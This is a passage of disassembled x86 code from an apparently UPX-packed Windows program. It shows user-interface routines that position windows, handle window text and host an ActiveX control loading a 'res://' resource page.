; CODE XREF: sub_417C70+F3j ; sub_417C70+150j mov eax, [ebp+var_8] push 20h push [ebp+arg_0] push [ebp+var_4] push edi push esi push 0FFFFFFFFh push dword ptr [eax+4] call dword_41D2A4 ; SetWindowPos jmp short loc_417E59 ; --------------------------------------------------------------------------- loc_417DE2: ; CODE XREF: sub_417C70+9Cj cmp eax, ebx jnz short loc_417DF6 mov esi, [esi] mov edi, [esi+28h] mov esi, [esi+38h] add edi, [ebp+var_1C] add esi, [ebp+var_20] jmp short loc_417E59 ; --------------------------------------------------------------------------- loc_417DF6: ; CODE XREF: sub_417C70+174j cmp eax, 5 jnz short loc_417E53 mov eax, [esi] cmp word ptr [eax+40h], 8 jnz short loc_417E53 mov eax, [eax+48h] mov ecx, offset aMouse ; "mouse" loc_417E0C: ; CODE XREF: sub_417C70+1BAj mov dx, [eax] cmp dx, [ecx] jnz short loc_417E30 test dx, dx jz short loc_417E2C mov dx, [eax+2] cmp dx, [ecx+2] jnz short loc_417E30 add eax, ebx add ecx, ebx test dx, dx jnz short loc_417E0C loc_417E2C: ; CODE XREF: sub_417C70+1A7j xor eax, eax jmp short loc_417E35 ; --------------------------------------------------------------------------- loc_417E30: ; CODE XREF: sub_417C70+1A2j ; sub_417C70+1B1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417E35: ; CODE XREF: sub_417C70+1BEj test eax, eax jnz short loc_417E53 lea eax, [ebp+var_10] push eax call dword_41D2A0 ; GetCursorPos mov esi, [esi] mov edi, [esi+28h] mov esi, [esi+38h] add edi, [ebp+var_C] add esi, [ebp+var_10] jmp short loc_417E59 ; --------------------------------------------------------------------------- loc_417E53: ; CODE XREF: sub_417C70+189j ; sub_417C70+192j ... mov esi, [ebp+arg_0] mov edi, [ebp+arg_0] loc_417E59: ; CODE XREF: sub_417C70+91j ; sub_417C70+170j ... push 1 push [ebp+arg_0] push [ebp+var_4] push edi push esi mov esi, [ebp+var_8] push dword ptr [esi+4] call dword_41D270 ; MoveWindow mov eax, esi call sub_417C15 push 5 push dword ptr [esi+4] call dword_41D298 ; ShowWindow pop edi pop esi pop ebx leave retn 8 sub_417C70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E88 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] push edi push 4 pop ecx mov edi, offset dword_423C1C xor edx, edx repe cmpsd mov eax, 80004002h jz short loc_417EB4 mov esi, [ebp+arg_4] push 4 pop ecx mov edi, offset dword_424394 xor edx, edx repe cmpsd jnz short loc_417EC7 loc_417EB4: ; CODE XREF: sub_417E88+19j mov ecx, [ebp+arg_0] lea eax, [ecx-24h] neg eax sbb eax, eax and eax, ecx mov ecx, [ebp+arg_8] mov [ecx], eax xor eax, eax loc_417EC7: ; CODE XREF: sub_417E88+2Aj pop edi pop esi pop ebp retn 0Ch sub_417E88 endp ; =============== S U B R O U T I N E ======================================= sub_417ECD proc near ; CODE XREF: UPX0:00417FD1p push 34h mov eax, offset loc_41BFAB call sub_40C46D push dword ptr [ebp+0Ch] lea eax, [ebp-40h] call sub_40518A mov esi, [ebp+8] and dword ptr [ebp-4], 0 lea eax, [ebp-40h] add esi, 3Ch push eax mov eax, esi mov [ebp+0Ch], esi call sub_405DF5 mov ebx, eax mov [ebp-10h], ebx test esi, esi jnz short loc_417F0A call sub_40B27B loc_417F0A: ; CODE XREF: sub_417ECD+36j mov eax, [esi] mov ecx, [esi+18h] lea edi, [ebp-1Ch] lea esi, [ebp-14h] mov [ebp-14h], eax mov [ebp-18h], ecx mov [ebp-1Ch], eax call sub_4052D2 test al, al jnz short loc_417F88 cmp dword ptr [ebx+28h], 8 mov esi, [ebx+24h] jb short loc_417F35 mov eax, [ebx+14h] jmp short loc_417F38 ; --------------------------------------------------------------------------- loc_417F35: ; CODE XREF: sub_417ECD+61j lea eax, [ebx+14h] loc_417F38: ; CODE XREF: sub_417ECD+66j mov edi, [ebp-2Ch] mov edx, edi cmp edi, esi jb short loc_417F43 mov edx, esi loc_417F43: ; CODE XREF: sub_417ECD+72j cmp dword ptr [ebp-28h], 8 mov ecx, [ebp-3Ch] jnb short loc_417F4F lea ecx, [ebp-3Ch] loc_417F4F: ; CODE XREF: sub_417ECD+7Dj test edx, edx jbe short loc_417F62 loc_417F53: ; CODE XREF: sub_417ECD+93j mov bx, [ecx] cmp bx, [eax] jnz short loc_417F7A inc ecx inc ecx inc eax inc eax dec edx jnz short loc_417F53 loc_417F62: ; CODE XREF: sub_417ECD+84j xor eax, eax loc_417F64: ; CODE XREF: sub_417ECD+B9j test eax, eax jnz short loc_417F73 cmp edi, esi jb short loc_417F88 cmp edi, esi setnz al test eax, eax loc_417F73: ; CODE XREF: sub_417ECD+99j jl short loc_417F88 lea eax, [ebp-14h] jmp short loc_417F99 ; --------------------------------------------------------------------------- loc_417F7A: ; CODE XREF: sub_417ECD+8Cj mov cx, bx cmp cx, [eax] sbb eax, eax and eax, 0FFFFFFFEh inc eax jmp short loc_417F64 ; --------------------------------------------------------------------------- loc_417F88: ; CODE XREF: sub_417ECD+58j ; sub_417ECD+9Dj ... mov eax, [ebp+0Ch] mov ecx, [eax+18h] mov eax, [eax] mov [ebp-1Ch], eax mov [ebp-18h], ecx lea eax, [ebp-1Ch] loc_417F99: ; CODE XREF: sub_417ECD+ABj mov ecx, [eax] mov eax, [eax+4] push 0 push 1 lea esi, [ebp-40h] mov [ebp-24h], ecx mov [ebp-20h], eax call sub_4055BC lea esi, [ebp-24h] call sub_4057C9 mov eax, [eax+20h] call sub_40C50C retn 8 sub_417ECD endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [esp+0Ch] push dword ptr [eax] mov eax, [esp+8] add eax, 0FFFFFFDCh push eax call sub_417ECD mov ecx, [esp+18h] mov [ecx], eax xor eax, eax retn 18h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FE1 proc near ; CODE XREF: sub_408E29+CEp ; UPX0:004094F0p ... var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov edi, eax lea edx, [ebp+var_4] lea esi, [edi+34h] mov eax, [esi] mov ecx, [eax] push edx push eax call dword ptr [ecx+1Ch] test eax, eax jge short loc_418037 push offset dword_4242D4 add edi, 30h push edi lea ebx, [ebp+var_8] call sub_404C9D mov eax, [ebp+var_8] mov ecx, [eax] lea edx, [ebp+var_C] push edx push eax call dword ptr [ecx+48h] mov eax, [ebp+var_C] mov ecx, [eax] push esi push offset dword_424384 push eax call dword ptr [ecx] mov esi, [esi] mov eax, [esi] lea ecx, [ebp+var_4] push ecx push esi call dword ptr [eax+1Ch] loc_418037: ; CODE XREF: sub_417FE1+1Cj call off_42A000 mov eax, [ebp+arg_0] lea edx, [ebp+var_14] push edx push 800h push 1 lea edx, [ebp+var_10] push edx mov [ebp+var_10], eax mov eax, [ebp+var_4] mov ecx, [eax] push offset dword_41D440 push eax call dword ptr [ecx+14h] test eax, eax jl loc_41811B mov esi, [ebp+arg_4] xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd xor ecx, ecx push 10h pop edx mov eax, esi mul edx seto cl mov [ebp+var_1C], esi neg ecx or ecx, eax push ecx call sub_40AC06 xor ebx, ebx pop ecx mov [ebp+var_24], eax test esi, esi jle short loc_4180EA xor edi, edi loc_418099: ; CODE XREF: sub_417FE1+107j mov eax, [ebp+arg_8] push dword ptr [eax+ebx*4] lea esi, [ebp+arg_0] call sub_4011E3 mov eax, [ebp+var_24] lea esi, [edi+eax+8] xor eax, eax cmp esi, eax jz short loc_4180CE cmp [ebp+arg_0], eax jz short loc_4180CC push [ebp+arg_0] call dword_41D258 push eax push [ebp+arg_0] call dword_41D244 loc_4180CC: ; CODE XREF: sub_417FE1+D6j mov [esi], eax loc_4180CE: ; CODE XREF: sub_417FE1+D1j mov ecx, [ebp+var_24] push 8 pop eax push [ebp+arg_0] mov [edi+ecx], ax call dword_41D25C inc ebx add edi, 10h cmp ebx, [ebp+arg_4] jl short loc_418099 loc_4180EA: ; CODE XREF: sub_417FE1+B4j mov eax, [ebp+var_4] xor ecx, ecx push ecx push ecx push ecx mov [ebp+var_18], ecx mov edx, [eax] lea ecx, [ebp+var_24] push ecx push 1 push 800h push offset dword_41D440 push [ebp+var_14] push eax call dword ptr [edx+18h] push [ebp+var_24] mov esi, eax call sub_40B36B pop ecx mov eax, esi loc_41811B: ; CODE XREF: sub_417FE1+81j pop edi pop esi pop ebx leave retn 0Ch sub_417FE1 endp ; =============== S U B R O U T I N E ======================================= sub_418122 proc near ; CODE XREF: sub_408D98+3Dp ; sub_408D98+54p ... push 3Ch mov eax, offset loc_41BFCE call sub_40C46D mov esi, ecx mov eax, [esi+58h] push dword ptr [ebp+8] add eax, 186A0h mov [ebp-2Ch], eax mov eax, [ebp+10h] mov [ebp-24h], eax mov eax, [ebp+14h] mov [ebp-20h], eax mov al, [ebp+0Ch] mov [ebp-1Ch], al lea eax, [ebp-48h] call sub_40518A and dword ptr [ebp-4], 0 lea eax, [ebp-48h] push eax lea ebx, [esi+3Ch] call sub_4051B7 push 6 pop ecx mov edi, eax lea esi, [ebp-2Ch] push 0 rep movsd push 1 lea esi, [ebp-48h] call sub_4055BC call sub_40C50C retn 10h sub_418122 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418186 proc near ; CODE XREF: sub_409FB8+FBp ; sub_40A0E8+46p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor edi, edi mov esi, eax cmp [ebp+arg_0], edi jz short loc_4181B2 push [ebp+arg_0] call dword_41D348 ; IsWindowEnabled mov [ebp+var_8], eax cmp eax, edi jz short loc_4181B2 push edi push [ebp+arg_0] call dword_41D284 ; EnableWindow loc_4181B2: ; CODE XREF: sub_418186+10j ; sub_418186+20j mov eax, [ebp+arg_4] mov [ebp+var_18], edi mov [ebp+var_14], edi mov [ebp+var_10], edi mov [ebp+var_C], edi mov [ebp+var_4], eax cmp dword_42DE28, edi jnz short loc_4181D2 mov dword_42DE28, edi loc_4181D2: ; CODE XREF: sub_418186+44j push [ebp+arg_0] lea eax, [esi+20h] push eax mov ebx, offset dword_42DDF8 call sub_406DD8 pop ecx pop ecx movzx eax, ax cmp [ebp+arg_4], edi jnz short loc_4181F4 mov [ebp+var_4], 56000000h loc_4181F4: ; CODE XREF: sub_418186+65j push eax push edi push edi push [ebp+var_4] lea eax, [ebp+var_18] push offset dword_423AEC push eax push [ebp+arg_0] mov ebx, esi call sub_40691F cmp [ebp+arg_8], edi jz short loc_418225 push [ebp+arg_8] push 1 push 80h push dword ptr [esi+4] call dword_41D288 ; SendMessageW loc_418225: ; CODE XREF: sub_418186+8Aj cmp [ebp+arg_C], edi jz short loc_418236 push [ebp+arg_C] push dword ptr [esi+4] call dword_41D280 ; SetWindowTextW loc_418236: ; CODE XREF: sub_418186+A2j mov eax, [esi] mov ecx, esi call dword ptr [eax+10h] push [ebp+arg_0] mov esi, eax call dword_41D334 ; SetForegroundWindow cmp [ebp+arg_0], edi jz short loc_41825D cmp [ebp+var_8], edi jz short loc_41825D push 1 push [ebp+arg_0] call dword_41D284 ; EnableWindow loc_41825D: ; CODE XREF: sub_418186+C5j ; sub_418186+CAj pop edi mov eax, esi pop esi pop ebx leave retn 10h sub_418186 endp ; =============== S U B R O U T I N E ======================================= sub_418266 proc near ; DATA XREF: sub_404725+127o push 20h mov eax, offset loc_41C011 call sub_40C4D6 mov eax, [ebp+0Ch] dec eax jz short loc_4182E8 sub eax, 81h jz short loc_4182C8 sub eax, 18Eh jnz loc_4184A1 cmp dword ptr [ebp+10h], 1 jnz loc_4184A1 mov esi, dword_41D2CC push 0FFFFFFECh push dword ptr [ebp+14h] call esi ; dword_41D2CC mov ebx, 10000h test eax, ebx jz loc_4184A1 push 0FFFFFFECh push dword ptr [ebp+8] call esi ; dword_41D2CC or eax, ebx push eax push 0FFFFFFECh push dword ptr [ebp+8] call dword_41D2B4 ; SetWindowLongW jmp loc_4184A1 ; --------------------------------------------------------------------------- loc_4182C8: ; CODE XREF: sub_418266+17j push 0FFFFFFEBh push dword ptr [ebp+8] call dword_41D2CC ; GetWindowLongW test eax, eax jz short loc_4182DD mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4182DD: ; CODE XREF: sub_418266+6Fj call dword_41D3B4 jmp loc_4184A1 ; --------------------------------------------------------------------------- loc_4182E8: ; CODE XREF: sub_418266+10j xor edi, edi push edi call dword_41D3B0 push dword ptr [ebp+8] call dword_41D308 ; GetWindowTextLengthW mov esi, eax lea eax, [esi+esi+0Ah] cmp eax, 400h ja short loc_41831A call sub_4160F0 mov eax, esp cmp eax, edi jz short loc_41832E mov dword ptr [eax], 0CCCCh jmp short loc_41832B ; --------------------------------------------------------------------------- loc_41831A: ; CODE XREF: sub_418266+9Fj push eax call sub_40AEA5 pop ecx cmp eax, edi jz short loc_41832E mov dword ptr [eax], 0DDDDh loc_41832B: ; CODE XREF: sub_418266+B2j add eax, 8 loc_41832E: ; CODE XREF: sub_418266+AAj ; sub_418266+BDj mov [ebp-18h], eax mov [ebp-28h], eax mov [ebp-4], edi cmp eax, edi jnz short loc_41834A push edi loc_41833C: ; CODE XREF: sub_418266+190j call sub_401000 pop ecx or eax, 0FFFFFFFFh jmp loc_4184B3 ; --------------------------------------------------------------------------- loc_41834A: ; CODE XREF: sub_418266+D3j inc esi push esi push eax push dword ptr [ebp+8] call dword_41D2C8 ; GetWindowTextW push offset dword_423A08 push dword ptr [ebp+8] call dword_41D280 ; SetWindowTextW mov eax, [ebp+14h] xor ebx, ebx mov [ebp-24h], edi cmp eax, edi jz short loc_418379 mov eax, [eax] cmp eax, edi jz short loc_418379 movzx ebx, word ptr [eax] loc_418379: ; CODE XREF: sub_418266+108j ; sub_418266+10Ej push ebx push 42h call dword_41D208 ; GlobalAlloc mov esi, eax mov [ebp-14h], edi mov byte ptr [ebp-4], 1 cmp esi, edi jz short loc_4183C1 cmp ebx, edi jz short loc_4183C1 push esi call dword_41D210 ; GlobalLock mov ecx, [ebp+14h] mov ecx, [ecx] inc ecx push ebx inc ecx push ecx push ebx push eax call sub_401125 ; --------------------------------------------------------------------------- add esp, 10h push esi call dword_41D1EC ; GlobalUnlock lea eax, [ebp-14h] push eax push 1 push esi call dword_41D3A8 loc_4183C1: ; CODE XREF: sub_418266+127j ; sub_418266+12Bj mov [ebp-20h], edi lea eax, [ebp-20h] mov byte ptr [ebp-4], 2 mov ecx, [ebp-14h] push eax call sub_4016D2 cmp eax, edi pop ecx jge short loc_4183FB push dword ptr [ebp-20h] call dword_41D25C mov byte ptr [ebp-4], 0 mov eax, [ebp-14h] cmp eax, edi loc_4183EB: ; CODE XREF: sub_418266+1E0j jz short loc_4183F3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4183F3: ; CODE XREF: sub_418266:loc_4183EBj push dword ptr [ebp-18h] jmp loc_41833C ; --------------------------------------------------------------------------- loc_4183FB: ; CODE XREF: sub_418266+171j call off_42A000 mov [ebp-2Ch], edi mov [ebp-1Ch], edi mov byte ptr [ebp-4], 4 mov edi, [ebp-20h] push edi push dword ptr [ebp-14h] lea ebx, [ebp-1Ch] push dword ptr [ebp+8] push dword ptr [ebp-18h] call sub_404675 xor ebx, ebx cmp eax, ebx jge short loc_418448 mov byte ptr [ebp-4], 3 mov eax, [ebp-1Ch] cmp eax, ebx jz short loc_418437 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_418437: ; CODE XREF: sub_418266+1C9j ; sub_418266+201j push edi call dword_41D25C mov [ebp-4], bl mov eax, [ebp-14h] cmp eax, ebx jmp short loc_4183EB ; --------------------------------------------------------------------------- loc_418448: ; CODE XREF: sub_418266+1BEj mov esi, [ebp-1Ch] mov eax, [esi] lea ecx, [ebp-24h] push ecx push offset dword_423BFC push esi call dword ptr [eax] cmp eax, ebx jge short loc_418469 mov byte ptr [ebp-4], 3 mov eax, [esi] push esi call dword ptr [eax+8] jmp short loc_418437 ; --------------------------------------------------------------------------- loc_418469: ; CODE XREF: sub_418266+1F5j push dword ptr [ebp-24h] push 0FFFFFFEBh push dword ptr [ebp+8] call dword_41D2B4 ; SetWindowLongW mov byte ptr [ebp-4], 3 mov eax, [esi] push esi call dword ptr [eax+8] push edi call dword_41D25C mov [ebp-4], bl mov eax, [ebp-14h] cmp eax, ebx jz short loc_418498 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_418498: ; CODE XREF: sub_418266+22Aj push dword ptr [ebp-18h] call sub_401000 pop ecx loc_4184A1: ; CODE XREF: sub_418266+1Ej ; sub_418266+28j ... push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_41D278 ; DefWindowProcW loc_4184B3: ; CODE XREF: sub_418266+DFj lea esp, [ebp-3Ch] call sub_40C520 retn 10h sub_418266 endp ; =============== S U B R O U T I N E ======================================= sub_4184BE proc near ; DATA XREF: sub_404725+7Ao push 1Ch mov eax, offset loc_41C056 call sub_40C4D6 mov eax, [ebp+0Ch] dec eax jz short loc_418540 sub eax, 81h jz short loc_418520 sub eax, 18Eh jnz loc_4186BC cmp dword ptr [ebp+10h], 1 jnz loc_4186BC mov esi, dword_41D2CC push 0FFFFFFECh push dword ptr [ebp+14h] call esi ; dword_41D2CC mov ebx, 10000h test eax, ebx jz loc_4186BC push 0FFFFFFECh push dword ptr [ebp+8] call esi ; dword_41D2CC or eax, ebx push eax push 0FFFFFFECh push dword ptr [ebp+8] call dword_41D2B4 ; SetWindowLongW jmp loc_4186BC ; --------------------------------------------------------------------------- loc_418520: ; CODE XREF: sub_4184BE+17j push 0FFFFFFEBh push dword ptr [ebp+8] call dword_41D2CC ; GetWindowLongW test eax, eax jz short loc_418535 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_418535: ; CODE XREF: sub_4184BE+6Fj call dword_41D3B4 jmp loc_4186BC ; --------------------------------------------------------------------------- loc_418540: ; CODE XREF: sub_4184BE+10j xor edi, edi push edi call dword_41D3B0 push dword ptr [ebp+8] call dword_41D308 ; GetWindowTextLengthW mov esi, eax lea eax, [esi+esi+0Ah] cmp eax, 400h ja short loc_418572 call sub_4160F0 mov eax, esp cmp eax, edi jz short loc_418586 mov dword ptr [eax], 0CCCCh jmp short loc_418583 ; --------------------------------------------------------------------------- loc_418572: ; CODE XREF: sub_4184BE+9Fj push eax call sub_40AEA5 pop ecx cmp eax, edi jz short loc_418586 mov dword ptr [eax], 0DDDDh loc_418583: ; CODE XREF: sub_4184BE+B2j add eax, 8 loc_418586: ; CODE XREF: sub_4184BE+AAj ; sub_4184BE+BDj mov [ebp-1Ch], eax mov [ebp-24h], eax mov [ebp-4], edi cmp eax, edi jnz short loc_4185A2 loc_418593: ; CODE XREF: sub_4184BE+19Dj ; sub_4184BE+1A9j push edi call sub_401000 pop ecx or eax, 0FFFFFFFFh jmp loc_4186CE ; --------------------------------------------------------------------------- loc_4185A2: ; CODE XREF: sub_4184BE+D3j inc esi push esi push eax push dword ptr [ebp+8] call dword_41D2C8 ; GetWindowTextW push offset dword_423A04 push dword ptr [ebp+8] call dword_41D280 ; SetWindowTextW mov eax, [ebp+14h] xor esi, esi mov [ebp-20h], edi cmp eax, edi jz short loc_4185D1 mov eax, [eax] cmp eax, edi jz short loc_4185D1 movzx esi, word ptr [eax] loc_4185D1: ; CODE XREF: sub_4184BE+108j ; sub_4184BE+10Ej push esi push 42h call dword_41D208 ; GlobalAlloc mov ebx, eax mov [ebp-14h], edi mov byte ptr [ebp-4], 1 cmp ebx, edi jz short loc_418619 cmp esi, edi jz short loc_418619 push ebx call dword_41D210 ; GlobalLock mov ecx, [ebp+14h] mov ecx, [ecx] inc ecx push esi inc ecx push ecx push esi push eax call sub_401125 ; --------------------------------------------------------------------------- add esp, 10h push ebx call dword_41D1EC ; GlobalUnlock lea eax, [ebp-14h] push eax push 1 push ebx call dword_41D3A8 loc_418619: ; CODE XREF: sub_4184BE+127j ; sub_4184BE+12Bj call off_42A000 mov [ebp-28h], edi mov [ebp-18h], edi push edi mov edi, [ebp-1Ch] mov byte ptr [ebp-4], 3 push dword ptr [ebp-14h] lea ebx, [ebp-18h] push dword ptr [ebp+8] push edi call sub_404675 xor ebx, ebx cmp eax, ebx jge short loc_41866C mov byte ptr [ebp-4], 2 mov eax, [ebp-18h] cmp eax, ebx jz short loc_418653 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_418653: ; CODE XREF: sub_4184BE+18Dj ; sub_4184BE+1CDj mov [ebp-4], bl mov eax, [ebp-14h] cmp eax, ebx jz loc_418593 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_418593 ; --------------------------------------------------------------------------- loc_41866C: ; CODE XREF: sub_4184BE+182j mov esi, [ebp-18h] mov eax, [esi] lea ecx, [ebp-20h] push ecx push offset dword_423C0C push esi call dword ptr [eax] cmp eax, ebx jge short loc_41868D mov byte ptr [ebp-4], 2 mov eax, [esi] push esi call dword ptr [eax+8] jmp short loc_418653 ; --------------------------------------------------------------------------- loc_41868D: ; CODE XREF: sub_4184BE+1C1j push dword ptr [ebp-20h] push 0FFFFFFEBh push dword ptr [ebp+8] call dword_41D2B4 ; SetWindowLongW mov byte ptr [ebp-4], 2 mov eax, [esi] push esi call dword ptr [eax+8] mov [ebp-4], bl mov eax, [ebp-14h] cmp eax, ebx jz short loc_4186B5 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4186B5: ; CODE XREF: sub_4184BE+1EFj push edi call sub_401000 pop ecx loc_4186BC: ; CODE XREF: sub_4184BE+1Ej ; sub_4184BE+28j ... push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_41D278 ; DefWindowProcW loc_4186CE: ; CODE XREF: sub_4184BE+DFj lea esp, [ebp-38h] call sub_40C520 retn 10h sub_4184BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186D9 proc near ; CODE XREF: sub_418A6B+21p var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset loc_41C086 mov eax, large fs:0 push eax sub esp, 41Ch push esi push edi mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+434h+var_C] mov large fs:0, eax mov eax, [ebx+54h] mov eax, [eax] mov ecx, [ebx+3Ch] mov [esp+434h+var_420], ecx mov [esp+434h+var_41C], eax jmp short loc_418740 ; --------------------------------------------------------------------------- loc_41871C: ; CODE XREF: sub_4186D9+76j mov eax, [ebx+54h] mov [esp+434h+var_424], eax mov eax, [ebx+3Ch] lea edi, [esp+434h+var_428] lea esi, [esp+434h+var_420] mov [esp+434h+var_428], eax call sub_4052D2 test al, al jnz short loc_418751 call sub_405E27 loc_418740: ; CODE XREF: sub_4186D9+41j lea esi, [esp+434h+var_420] call sub_4057C9 mov ecx, [ebp+arg_0] cmp [eax+20h], ecx jnz short loc_41871C loc_418751: ; CODE XREF: sub_4186D9+60j mov eax, [ebx+54h] mov [esp+434h+var_424], eax mov eax, [ebx+3Ch] lea edi, [esp+434h+var_428] lea esi, [esp+434h+var_420] mov [esp+434h+var_428], eax call sub_4052D2 test al, al jz short loc_41877A mov eax, 80004001h jmp loc_418886 ; --------------------------------------------------------------------------- loc_41877A: ; CODE XREF: sub_4186D9+95j lea esi, [esp+434h+var_420] call sub_4057C9 cmp byte ptr [eax+30h], 0 jnz short loc_4187A4 call sub_4057C9 push [ebp+arg_8] mov edx, [eax+28h] mov eax, [eax+2Ch] push [ebp+arg_4] lea ecx, [eax+ebx] call edx jmp loc_418884 ; --------------------------------------------------------------------------- loc_4187A4: ; CODE XREF: sub_4186D9+AEj mov eax, [ebp+arg_4] mov esi, [eax+8] cmp esi, 100h jle short loc_4187BC mov eax, 80070057h jmp loc_418886 ; --------------------------------------------------------------------------- loc_4187BC: ; CODE XREF: sub_4186D9+D7j and [esp+434h+var_410], 0 push 3FCh lea eax, [esp+438h+var_40C] push 0 push eax call sub_40BD40 add esp, 0Ch dec esi mov [esp+434h+var_428], esi js short loc_41880E shl esi, 4 lea edi, [esp+434h+var_410] loc_4187E3: ; CODE XREF: sub_4186D9+133j mov eax, [ebp+arg_4] mov eax, [eax] mov eax, [esi+eax+8] mov ecx, 0FFh cmp [eax], cx ja short loc_4187FB call sub_4178D6 loc_4187FB: ; CODE XREF: sub_4186D9+11Bj mov [edi], eax add edi, 4 dec [esp+434h+var_428] sub esi, 10h cmp [esp+434h+var_428], 0 jge short loc_4187E3 loc_41880E: ; CODE XREF: sub_4186D9+101j lea esi, [esp+434h+var_420] call sub_4057C9 mov edx, [eax+28h] mov eax, [eax+2Ch] lea ecx, [esp+434h+var_410] push ecx mov ecx, [ebp+arg_4] push dword ptr [ecx+8] lea ecx, [eax+ebx] call edx cmp [ebp+arg_8], 0 jz short loc_418884 push eax lea eax, [esp+438h+var_420] xor ecx, ecx push eax mov word ptr [esp+43Ch+var_420], cx call sub_401304 and [esp+434h+var_4], 0 push [ebp+arg_8] mov esi, dword_41D23C call esi ; dword_41D23C test eax, eax jl short loc_41887D push 10h lea eax, [esp+438h+var_420] push eax push 10h push [ebp+arg_8] call sub_40B376 push eax call sub_4010F0 ; --------------------------------------------------------------------------- add esp, 14h xor eax, eax mov word ptr [esp+434h+var_420], ax loc_41887D: ; CODE XREF: sub_4186D9+181j lea eax, [esp+434h+var_420] push eax call esi ; dword_41D23C loc_418884: ; CODE XREF: sub_4186D9+C6j ; sub_4186D9+158j xor eax, eax loc_418886: ; CODE XREF: sub_4186D9+9Cj ; sub_4186D9+DEj mov ecx, [esp+434h+var_C] mov large fs:0, ecx pop ecx pop edi pop esi mov esp, ebp pop ebp retn 0Ch sub_4186D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=20Ch sub_41889D proc near ; CODE XREF: sub_404BAF+Fp var_248 = byte ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_4 = dword ptr -4 push ebp sub esp, 208h lea ebp, [esp-4] mov eax, dword_42A034 xor eax, ebp mov [ebp+20Ch+var_4], eax push 30h mov eax, offset loc_41C0B7 call sub_40C46D lea eax, [ebp+20Ch+var_244] mov esi, ecx push eax push dword ptr [esi+4] mov [ebp+20Ch+var_228], esi call dword_41D34C ; GetClientRect mov eax, [esi+4] xor edi, edi push edi push dword_42E350 lea ebx, [esi+30h] push edi push eax mov eax, [ebp+20Ch+var_238] sub eax, [ebp+20Ch+var_240] mov [ebp+20Ch+var_22C], ebx push eax mov eax, [ebp+20Ch+var_23C] sub eax, [ebp+20Ch+var_244] push eax push [ebp+20Ch+var_240] push [ebp+20Ch+var_244] push 50200000h push offset dword_423B24 push offset aAtlaxwin80 ; "AtlAxWin80" push edi call dword_41D290 ; CreateWindowExW add esi, 24h mov [ebx], eax mov [ebp+20Ch+var_234], esi mov [ebp+20Ch+var_21C], edi push ebx lea ebx, [ebp+20Ch+var_21C] mov [ebp+20Ch+var_210], edi call sub_4053D6 cmp eax, edi jl short loc_418936 mov eax, [ebp+20Ch+var_21C] mov ecx, [eax] push esi push eax call dword ptr [ecx+1Ch] loc_418936: ; CODE XREF: sub_41889D+8Dj or [ebp+20Ch+var_210], 0FFFFFFFFh mov eax, [ebp+20Ch+var_21C] cmp eax, edi jz short loc_418947 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_418947: ; CODE XREF: sub_41889D+A2j push 104h lea eax, [ebp+20Ch+var_20C] push eax push dword_42E350 call dword_41D1FC ; GetModuleFileNameW push offset aRes ; "res://" lea esi, [ebp+20Ch+var_21C] call sub_4011E3 lea eax, [ebp+20Ch+var_20C] mov [ebp+20Ch+var_210], 1 mov esi, dword_41D1F0 push eax call esi ; dword_41D1F0 push eax lea eax, [ebp+20Ch+var_20C] push eax lea edi, [ebp+20Ch+var_21C] call sub_401260 mov edi, offset asc_423B38 ; "/" push edi call esi ; dword_41D1F0 push eax push edi lea edi, [ebp+20Ch+var_21C] call sub_401260 mov eax, [ebp+20Ch+var_228] mov esi, [eax+2Ch] push esi call dword_41D238 mov edi, dword_41D25C test eax, eax jz short loc_4189D2 and [ebp+20Ch+var_224], 0 lea eax, [ebp+20Ch+var_224] push eax push esi push [ebp+20Ch+var_21C] call sub_40AB90 test eax, eax jl short loc_4189D2 push [ebp+20Ch+var_21C] call edi ; dword_41D25C mov eax, [ebp+20Ch+var_224] mov [ebp+20Ch+var_21C], eax loc_4189D2: ; CODE XREF: 